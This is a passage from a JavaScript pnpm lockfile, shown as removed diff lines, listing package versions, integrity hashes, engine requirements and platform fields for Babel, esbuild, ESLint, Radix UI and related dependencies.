sha512-dTOdvsjnG3xNT9Y0AUg1wAl38y+4Rl4sf9caSQZOXdNqVn+H+HbbJ4IyyHaIqNR6SW9oJpA/RuRjsjCw2IdIow==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-globals@7.28.0': - resolution: {integrity: sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-member-expression-to-functions@7.28.5': - resolution: {integrity: sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-imports@7.28.6': - resolution: {integrity: sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-module-transforms@7.28.6': - resolution: {integrity: sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-optimise-call-expression@7.27.1': - resolution: {integrity: sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw==} - engines: {node: '>=6.9.0'} - - '@babel/helper-plugin-utils@7.28.6': - resolution: {integrity: sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/Dug==} - engines: {node: '>=6.9.0'} - - '@babel/helper-replace-supers@7.28.6': - resolution: {integrity: sha512-mq8e+laIk94/yFec3DxSjCRD2Z0TAjhVbEJY3UQrlwVo15Lmt7C2wAUbK4bjnTs4APkwsYLTahXRraQXhb1WCg==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - - '@babel/helper-skip-transparent-expression-wrappers@7.27.1': - resolution: {integrity: sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==} - engines: {node: '>=6.9.0'} - - '@babel/helper-string-parser@7.27.1': - resolution: {integrity: sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-identifier@7.28.5': - resolution: {integrity: sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==} - engines: {node: '>=6.9.0'} - - '@babel/helper-validator-option@7.27.1': - resolution: {integrity: sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==} - engines: {node: '>=6.9.0'} - - '@babel/helpers@7.28.6': - resolution: {integrity: sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==} - engines: {node: '>=6.9.0'} - - '@babel/parser@7.29.0': - resolution: {integrity: sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==} - engines: {node: '>=6.0.0'} - hasBin: true - - '@babel/plugin-syntax-decorators@7.28.6': - resolution: {integrity: sha512-71EYI0ONURHJBL4rSFXnITXqXrrY8q4P0q006DPfN+Rk+ASM+++IBXem/ruokgBZR8YNEWZ8R6B+rCb8VcUTqA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-jsx@7.28.6': - resolution: {integrity: sha512-wgEmr06G6sIpqr8YDwA2dSRTE3bJ+V0IfpzfSY3Lfgd7YWOaAdlykvJi13ZKBt8cZHfgH1IXN+CL656W3uUa4w==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-syntax-typescript@7.28.6': - resolution: {integrity: sha512-+nDNmQye7nlnuuHDboPbGm00Vqg3oO8niRRL27/4LYHUsHYh0zJ1xWOz0uRwNFmM1Avzk8wZbc6rdiYhomzv/A==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-modules-commonjs@7.28.6': - resolution: {integrity: sha512-jppVbf8IV9iWWwWTQIxJMAJCWBuuKx71475wHwYytrRGQ2CWiDvYlADQno3tcYpS/T2UUWFQp3nVtYfK/YBQrA==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/plugin-transform-typescript@7.28.6': - resolution: {integrity: sha512-0YWL2RFxOqEm9Efk5PvreamxPME8OyY0wM5wh5lHjF+VtVhdneCWGzZeSqzOfiobVqQaNCd2z0tQvnI9DaPWPw==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/preset-typescript@7.28.5': - resolution: {integrity: sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g==} - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - - '@babel/runtime@7.28.6': - resolution: {integrity: sha512-05WQkdpL9COIMz4LjTxGpPNCdlpyimKppYNoJ5Di5EUObifl8t4tuLuUBBZEpoLYOmfvIWrsp9fCl0HoPRVTdA==} - engines: {node: '>=6.9.0'} - - '@babel/template@7.28.6': - resolution: {integrity: sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==} - engines: {node: '>=6.9.0'} - - '@babel/traverse@7.29.0': - resolution: {integrity: sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==} - engines: {node: '>=6.9.0'} - - '@babel/types@7.29.0': - resolution: {integrity: sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==} - engines: {node: '>=6.9.0'} - - '@emotion/hash@0.9.2': - resolution: {integrity: sha512-MyqliTZGuOm3+5ZRSaaBGP3USLw6+EGykkwZns2EPC5g8jJ4z9OrdZY9apkl3+UP9+sdz76YYkwCKP5gh8iY3g==} - - '@esbuild/aix-ppc64@0.21.5': - resolution: {integrity: sha512-1SDgH6ZSPTlggy1yI6+Dbkiz8xzpHJEVAlF/AM1tHPLsf5STom9rwtjE4hKAF20FfXXNTFqEYXyJNWh1GiZedQ==} - engines: {node: '>=12'} - cpu: [ppc64] - os: [aix] - - '@esbuild/android-arm64@0.17.6': - resolution: {integrity: sha512-YnYSCceN/dUzUr5kdtUzB+wZprCafuD89Hs0Aqv9QSdwhYQybhXTaSTcrl6X/aWThn1a/j0eEpUBGOE7269REg==} - engines: {node: '>=12'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm64@0.21.5': - resolution: {integrity: sha512-c0uX9VAUBQ7dTDCjq+wdyGLowMdtR/GoC2U5IYk/7D1H1JYC0qseD7+11iMP2mRLN9RcCMRcjC4YMclCzGwS/A==} - engines: {node: '>=12'} - cpu: [arm64] - os: [android] - - '@esbuild/android-arm@0.17.6': - resolution: {integrity: sha512-bSC9YVUjADDy1gae8RrioINU6e1lCkg3VGVwm0QQ2E1CWcC4gnMce9+B6RpxuSsrsXsk1yojn7sp1fnG8erE2g==} - engines: {node: '>=12'} - cpu: [arm] - os: [android] - - '@esbuild/android-arm@0.21.5': - resolution: {integrity: sha512-vCPvzSjpPHEi1siZdlvAlsPxXl7WbOVUBBAowWug4rJHb68Ox8KualB+1ocNvT5fjv6wpkX6o/iEpbDrf68zcg==} - engines: {node: '>=12'} - cpu: [arm] - os: [android] - - '@esbuild/android-x64@0.17.6': - resolution: {integrity: sha512-MVcYcgSO7pfu/x34uX9u2QIZHmXAB7dEiLQC5bBl5Ryqtpj9lT2sg3gNDEsrPEmimSJW2FXIaxqSQ501YLDsZQ==} - engines: {node: '>=12'} - cpu: [x64] - os: [android] - - '@esbuild/android-x64@0.21.5': - resolution: {integrity: sha512-D7aPRUUNHRBwHxzxRvp856rjUHRFW1SdQATKXH2hqA0kAZb1hKmi02OpYRacl0TxIGz/ZmXWlbZgjwWYaCakTA==} - engines: {node: '>=12'} - cpu: [x64] - os: [android] - - '@esbuild/darwin-arm64@0.17.6': - resolution: {integrity: sha512-bsDRvlbKMQMt6Wl08nHtFz++yoZHsyTOxnjfB2Q95gato+Yi4WnRl13oC2/PJJA9yLCoRv9gqT/EYX0/zDsyMA==} - engines: {node: '>=12'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-arm64@0.21.5': - resolution: {integrity: sha512-DwqXqZyuk5AiWWf3UfLiRDJ5EDd49zg6O9wclZ7kUMv2WRFr4HKjXp/5t8JZ11QbQfUS6/cRCKGwYhtNAY88kQ==} - engines: {node: '>=12'} - cpu: [arm64] - os: [darwin] - - '@esbuild/darwin-x64@0.17.6': - resolution: {integrity: sha512-xh2A5oPrYRfMFz74QXIQTQo8uA+hYzGWJFoeTE8EvoZGHb+idyV4ATaukaUvnnxJiauhs/fPx3vYhU4wiGfosg==} - engines: {node: '>=12'} - cpu: [x64] - os: [darwin] - - '@esbuild/darwin-x64@0.21.5': - resolution: {integrity: sha512-se/JjF8NlmKVG4kNIuyWMV/22ZaerB+qaSi5MdrXtd6R08kvs2qCN4C09miupktDitvh8jRFflwGFBQcxZRjbw==} - engines: {node: '>=12'} - cpu: [x64] - os: [darwin] - - '@esbuild/freebsd-arm64@0.17.6': - resolution: {integrity: sha512-EnUwjRc1inT4ccZh4pB3v1cIhohE2S4YXlt1OvI7sw/+pD+dIE4smwekZlEPIwY6PhU6oDWwITrQQm5S2/iZgg==} - engines: {node: '>=12'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-arm64@0.21.5': - resolution: {integrity: sha512-5JcRxxRDUJLX8JXp/wcBCy3pENnCgBR9bN6JsY4OmhfUtIHe3ZW0mawA7+RDAcMLrMIZaf03NlQiX9DGyB8h4g==} - engines: {node: '>=12'} - cpu: [arm64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.17.6': - resolution: {integrity: sha512-Uh3HLWGzH6FwpviUcLMKPCbZUAFzv67Wj5MTwK6jn89b576SR2IbEp+tqUHTr8DIl0iDmBAf51MVaP7pw6PY5Q==} - engines: {node: '>=12'} - cpu: [x64] - os: [freebsd] - - '@esbuild/freebsd-x64@0.21.5': - resolution: {integrity: sha512-J95kNBj1zkbMXtHVH29bBriQygMXqoVQOQYA+ISs0/2l3T9/kj42ow2mpqerRBxDJnmkUDCaQT/dfNXWX/ZZCQ==} - engines: {node: '>=12'} - cpu: [x64] - os: [freebsd] - - '@esbuild/linux-arm64@0.17.6': - resolution: {integrity: sha512-bUR58IFOMJX523aDVozswnlp5yry7+0cRLCXDsxnUeQYJik1DukMY+apBsLOZJblpH+K7ox7YrKrHmJoWqVR9w==} - engines: {node: '>=12'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm64@0.21.5': - resolution: {integrity: sha512-ibKvmyYzKsBeX8d8I7MH/TMfWDXBF3db4qM6sy+7re0YXya+K1cem3on9XgdT2EQGMu4hQyZhan7TeQ8XkGp4Q==} - engines: {node: '>=12'} - cpu: [arm64] - os: [linux] - - '@esbuild/linux-arm@0.17.6': - resolution: {integrity: sha512-7YdGiurNt7lqO0Bf/U9/arrPWPqdPqcV6JCZda4LZgEn+PTQ5SMEI4MGR52Bfn3+d6bNEGcWFzlIxiQdS48YUw==} - engines: {node: '>=12'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-arm@0.21.5': - resolution: {integrity: sha512-bPb5AHZtbeNGjCKVZ9UGqGwo8EUu4cLq68E95A53KlxAPRmUyYv2D6F0uUI65XisGOL1hBP5mTronbgo+0bFcA==} - engines: {node: '>=12'} - cpu: [arm] - os: [linux] - - '@esbuild/linux-ia32@0.17.6': - resolution: {integrity: sha512-ujp8uoQCM9FRcbDfkqECoARsLnLfCUhKARTP56TFPog8ie9JG83D5GVKjQ6yVrEVdMie1djH86fm98eY3quQkQ==} - engines: {node: '>=12'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-ia32@0.21.5': - resolution: {integrity: sha512-YvjXDqLRqPDl2dvRODYmmhz4rPeVKYvppfGYKSNGdyZkA01046pLWyRKKI3ax8fbJoK5QbxblURkwK/MWY18Tg==} - engines: {node: '>=12'} - cpu: [ia32] - os: [linux] - - '@esbuild/linux-loong64@0.17.6': - resolution: {integrity: sha512-y2NX1+X/Nt+izj9bLoiaYB9YXT/LoaQFYvCkVD77G/4F+/yuVXYCWz4SE9yr5CBMbOxOfBcy/xFL4LlOeNlzYQ==} - engines: {node: '>=12'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-loong64@0.21.5': - resolution: {integrity: sha512-uHf1BmMG8qEvzdrzAqg2SIG/02+4/DHB6a9Kbya0XDvwDEKCoC8ZRWI5JJvNdUjtciBGFQ5PuBlpEOXQj+JQSg==} - engines: {node: '>=12'} - cpu: [loong64] - os: [linux] - - '@esbuild/linux-mips64el@0.17.6': - resolution: {integrity: sha512-09AXKB1HDOzXD+j3FdXCiL/MWmZP0Ex9eR8DLMBVcHorrWJxWmY8Nms2Nm41iRM64WVx7bA/JVHMv081iP2kUA==} - engines: {node: '>=12'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-mips64el@0.21.5': - resolution: {integrity: sha512-IajOmO+KJK23bj52dFSNCMsz1QP1DqM6cwLUv3W1QwyxkyIWecfafnI555fvSGqEKwjMXVLokcV5ygHW5b3Jbg==} - engines: {node: '>=12'} - cpu: [mips64el] - os: [linux] - - '@esbuild/linux-ppc64@0.17.6': - resolution: {integrity: sha512-AmLhMzkM8JuqTIOhxnX4ubh0XWJIznEynRnZAVdA2mMKE6FAfwT2TWKTwdqMG+qEaeyDPtfNoZRpJbD4ZBv0Tg==} - engines: {node: '>=12'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-ppc64@0.21.5': - resolution: {integrity: sha512-1hHV/Z4OEfMwpLO8rp7CvlhBDnjsC3CttJXIhBi+5Aj5r+MBvy4egg7wCbe//hSsT+RvDAG7s81tAvpL2XAE4w==} - engines: {node: '>=12'} - cpu: [ppc64] - os: [linux] - - '@esbuild/linux-riscv64@0.17.6': - resolution: {integrity: sha512-Y4Ri62PfavhLQhFbqucysHOmRamlTVK10zPWlqjNbj2XMea+BOs4w6ASKwQwAiqf9ZqcY9Ab7NOU4wIgpxwoSQ==} - engines: {node: '>=12'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-riscv64@0.21.5': - resolution: {integrity: sha512-2HdXDMd9GMgTGrPWnJzP2ALSokE/0O5HhTUvWIbD3YdjME8JwvSCnNGBnTThKGEB91OZhzrJ4qIIxk/SBmyDDA==} - engines: {node: '>=12'} - cpu: [riscv64] - os: [linux] - - '@esbuild/linux-s390x@0.17.6': - resolution: {integrity: sha512-SPUiz4fDbnNEm3JSdUW8pBJ/vkop3M1YwZAVwvdwlFLoJwKEZ9L98l3tzeyMzq27CyepDQ3Qgoba44StgbiN5Q==} - engines: {node: '>=12'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-s390x@0.21.5': - resolution: {integrity: sha512-zus5sxzqBJD3eXxwvjN1yQkRepANgxE9lgOW2qLnmr8ikMTphkjgXu1HR01K4FJg8h1kEEDAqDcZQtbrRnB41A==} - engines: {node: '>=12'} - cpu: [s390x] - os: [linux] - - '@esbuild/linux-x64@0.17.6': - resolution: {integrity: sha512-a3yHLmOodHrzuNgdpB7peFGPx1iJ2x6m+uDvhP2CKdr2CwOaqEFMeSqYAHU7hG+RjCq8r2NFujcd/YsEsFgTGw==} - engines: {node: '>=12'} - cpu: [x64] - os: [linux] - - '@esbuild/linux-x64@0.21.5': - resolution: {integrity: sha512-1rYdTpyv03iycF1+BhzrzQJCdOuAOtaqHTWJZCWvijKD2N5Xu0TtVC8/+1faWqcP9iBCWOmjmhoH94dH82BxPQ==} - engines: {node: '>=12'} - cpu: [x64] - os: [linux] - - '@esbuild/netbsd-x64@0.17.6': - resolution: {integrity: sha512-EanJqcU/4uZIBreTrnbnre2DXgXSa+Gjap7ifRfllpmyAU7YMvaXmljdArptTHmjrkkKm9BK6GH5D5Yo+p6y5A==} - engines: {node: '>=12'} - cpu: [x64] - os: [netbsd] - - '@esbuild/netbsd-x64@0.21.5': - resolution: {integrity: sha512-Woi2MXzXjMULccIwMnLciyZH4nCIMpWQAs049KEeMvOcNADVxo0UBIQPfSmxB3CWKedngg7sWZdLvLczpe0tLg==} - engines: {node: '>=12'} - cpu: [x64] - os: [netbsd] - - '@esbuild/openbsd-x64@0.17.6': - resolution: {integrity: sha512-xaxeSunhQRsTNGFanoOkkLtnmMn5QbA0qBhNet/XLVsc+OVkpIWPHcr3zTW2gxVU5YOHFbIHR9ODuaUdNza2Vw==} - engines: {node: '>=12'} - cpu: [x64] - os: [openbsd] - - '@esbuild/openbsd-x64@0.21.5': - resolution: {integrity: sha512-HLNNw99xsvx12lFBUwoT8EVCsSvRNDVxNpjZ7bPn947b8gJPzeHWyNVhFsaerc0n3TsbOINvRP2byTZ5LKezow==} - engines: {node: '>=12'} - cpu: [x64] - os: [openbsd] - - '@esbuild/sunos-x64@0.17.6': - resolution: {integrity: sha512-gnMnMPg5pfMkZvhHee21KbKdc6W3GR8/JuE0Da1kjwpK6oiFU3nqfHuVPgUX2rsOx9N2SadSQTIYV1CIjYG+xw==} - engines: {node: '>=12'} - cpu: [x64] - os: [sunos] - - '@esbuild/sunos-x64@0.21.5': - resolution: {integrity: sha512-6+gjmFpfy0BHU5Tpptkuh8+uw3mnrvgs+dSPQXQOv3ekbordwnzTVEb4qnIvQcYXq6gzkyTnoZ9dZG+D4garKg==} - engines: {node: '>=12'} - cpu: [x64] - os: [sunos] - - '@esbuild/win32-arm64@0.17.6': - resolution: {integrity: sha512-G95n7vP1UnGJPsVdKXllAJPtqjMvFYbN20e8RK8LVLhlTiSOH1sd7+Gt7rm70xiG+I5tM58nYgwWrLs6I1jHqg==} - engines: {node: '>=12'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-arm64@0.21.5': - resolution: {integrity: sha512-Z0gOTd75VvXqyq7nsl93zwahcTROgqvuAcYDUr+vOv8uHhNSKROyU961kgtCD1e95IqPKSQKH7tBTslnS3tA8A==} - engines: {node: '>=12'} - cpu: [arm64] - os: [win32] - - '@esbuild/win32-ia32@0.17.6': - resolution: {integrity: sha512-96yEFzLhq5bv9jJo5JhTs1gI+1cKQ83cUpyxHuGqXVwQtY5Eq54ZEsKs8veKtiKwlrNimtckHEkj4mRh4pPjsg==} - engines: {node: '>=12'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-ia32@0.21.5': - resolution: {integrity: sha512-SWXFF1CL2RVNMaVs+BBClwtfZSvDgtL//G/smwAc5oVK/UPu2Gu9tIaRgFmYFFKrmg3SyAjSrElf0TiJ1v8fYA==} - engines: {node: '>=12'} - cpu: [ia32] - os: [win32] - - '@esbuild/win32-x64@0.17.6': - resolution: {integrity: sha512-n6d8MOyUrNp6G4VSpRcgjs5xj4A91svJSaiwLIDWVWEsZtpN5FA9NlBbZHDmAJc2e8e6SF4tkBD3HAvPF+7igA==} - engines: {node: '>=12'} - cpu: [x64] - os: [win32] - - '@esbuild/win32-x64@0.21.5': - resolution: {integrity: sha512-tQd/1efJuzPC6rCFwEvLtci/xNFcTZknmXs98FYDfGE4wP9ClFV98nyKrzJKVPMhdDnjzLhdUyMX4PsQAPjwIw==} - engines: {node: '>=12'} - cpu: [x64] - os: [win32] - - '@eslint-community/eslint-utils@4.9.1': - resolution: {integrity: sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - peerDependencies: - eslint: ^6.0.0 || ^7.0.0 || >=8.0.0 - - '@eslint-community/regexpp@4.12.2': - resolution: {integrity: sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==} - engines: {node: ^12.0.0 || ^14.0.0 || >=16.0.0} - - '@eslint/eslintrc@2.1.4': - resolution: {integrity: sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - '@eslint/js@8.57.1': - resolution: {integrity: sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==} - engines: {node: ^12.22.0 || ^14.17.0 || >=16.0.0} - - '@floating-ui/core@1.7.4': - resolution: {integrity: sha512-C3HlIdsBxszvm5McXlB8PeOEWfBhcGBTZGkGlWc2U0KFY5IwG5OQEuQ8rq52DZmcHDlPLd+YFBK+cZcytwIFWg==} - - '@floating-ui/dom@1.7.5': - resolution: {integrity: sha512-N0bD2kIPInNHUHehXhMke1rBGs1dwqvC9O9KYMyyjK7iXt7GAhnro7UlcuYcGdS/yYOlq0MAVgrow8IbWJwyqg==} - - '@floating-ui/react-dom@2.1.7': - resolution: {integrity: sha512-0tLRojf/1Go2JgEVm+3Frg9A3IW8bJgKgdO0BN5RkF//ufuz2joZM63Npau2ff3J6lUVYgDSNzNkR+aH3IVfjg==} - peerDependencies: - react: '>=16.8.0' - react-dom: '>=16.8.0' - - '@floating-ui/utils@0.2.10': - resolution: {integrity: sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==} - - '@humanwhocodes/config-array@0.13.0': - resolution: {integrity: sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==} - engines: {node: '>=10.10.0'} - deprecated: Use @eslint/config-array instead - - '@humanwhocodes/module-importer@1.0.1': - resolution: {integrity: sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==} - engines: {node: '>=12.22'} - - '@humanwhocodes/object-schema@2.0.3': - resolution: {integrity: sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==} - deprecated: Use @eslint/object-schema instead - - '@isaacs/cliui@8.0.2': - resolution: {integrity: sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==} - engines: {node: '>=12'} - - '@jridgewell/gen-mapping@0.3.13': - resolution: {integrity: sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA==} - - '@jridgewell/remapping@2.3.5': - resolution: {integrity: sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ==} - - '@jridgewell/resolve-uri@3.1.2': - resolution: {integrity: sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==} - engines: {node: '>=6.0.0'} - - '@jridgewell/sourcemap-codec@1.5.5': - resolution: {integrity: sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==} - - '@jridgewell/trace-mapping@0.3.31': - resolution: {integrity: sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==} - - '@jspm/core@2.1.0': - resolution: {integrity: sha512-3sRl+pkyFY/kLmHl0cgHiFp2xEqErA8N3ECjMs7serSUBmoJ70lBa0PG5t0IM6WJgdZNyyI0R8YFfi5wM8+mzg==} - - '@mdx-js/mdx@2.3.0': - resolution: {integrity: sha512-jLuwRlz8DQfQNiUCJR50Y09CGPq3fLtmtUQfVrj79E0JWu3dvsVcxVIcfhR5h0iXu+/z++zDrYeiJqifRynJkA==} - - '@monaco-editor/loader@1.7.0': - resolution: {integrity: sha512-gIwR1HrJrrx+vfyOhYmCZ0/JcWqG5kbfG7+d3f/C1LXk2EvzAbHSg3MQ5lO2sMlo9izoAZ04shohfKLVT6crVA==} - - '@monaco-editor/react@4.7.0': - resolution: {integrity: sha512-cyzXQCtO47ydzxpQtCGSQGOC8Gk3ZUeBXFAxD+CWXYFo5OqZyZUonFl0DwUlTyAfRHntBfw2p3w4s9R6oe1eCA==} - peerDependencies: - monaco-editor: '>= 0.25.0 < 1' - react: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 - - '@nodelib/fs.scandir@2.1.5': - resolution: {integrity: sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==} - engines: {node: '>= 8'} - - '@nodelib/fs.stat@2.0.5': - resolution: {integrity: sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==} - engines: {node: '>= 8'} - - '@nodelib/fs.walk@1.2.8': - resolution: {integrity: sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==} - engines: {node: '>= 8'} - - '@npmcli/fs@3.1.1': - resolution: {integrity: sha512-q9CRWjpHCMIh5sVyefoD1cA7PkvILqCZsnSOEUUivORLjxCO/Irmue2DprETiNgEqktDBZaM1Bi+jrarx1XdCg==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - '@npmcli/git@4.1.0': - resolution: {integrity: sha512-9hwoB3gStVfa0N31ymBmrX+GuDGdVA/QWShZVqE0HK2Af+7QGGrCTbZia/SW0ImUTjTne7SP91qxDmtXvDHRPQ==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - '@npmcli/package-json@4.0.1': - resolution: {integrity: sha512-lRCEGdHZomFsURroh522YvA/2cVb9oPIJrjHanCJZkiasz1BzcnLr3tBJhlV7S86MBJBuAQ33is2D60YitZL2Q==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - '@npmcli/promise-spawn@6.0.2': - resolution: {integrity: sha512-gGq0NJkIGSwdbUt4yhdF8ZrmkGKVz9vAdVzpOfnom+V8PLSmSOVhZwbNvZZS1EYcJN5hzzKBxmmVVAInM6HQLg==} - engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} - - '@pkgjs/parseargs@0.11.0': - resolution: {integrity: sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==} - engines: {node: '>=14'} - - '@playwright/test@1.58.2': - resolution: {integrity: sha512-akea+6bHYBBfA9uQqSYmlJXn61cTa+jbO87xVLCWbTqbWadRVmhxlXATaOjOgcBaWU4ePo0wB41KMFv3o35IXA==} - engines: {node: '>=18'} - hasBin: true - - '@radix-ui/number@1.1.1': - resolution: {integrity: sha512-MkKCwxlXTgz6CFoJx3pCwn07GKp36+aZyu/u2Ln2VrA5DcdyCZkASEDBTd8x5whTQQL5CiYf4prXKLcgQdv29g==} - - '@radix-ui/primitive@1.1.3': - resolution: {integrity: sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg==} - - '@radix-ui/react-arrow@1.1.7': - resolution: {integrity: sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==} - peerDependencies: - '@types/react': '*' - '@types/react-dom': '*' - react: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - react-dom: ^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc - peerDependenciesMeta: - '@types/react': - optional: true - '@types/react-dom': - optional: 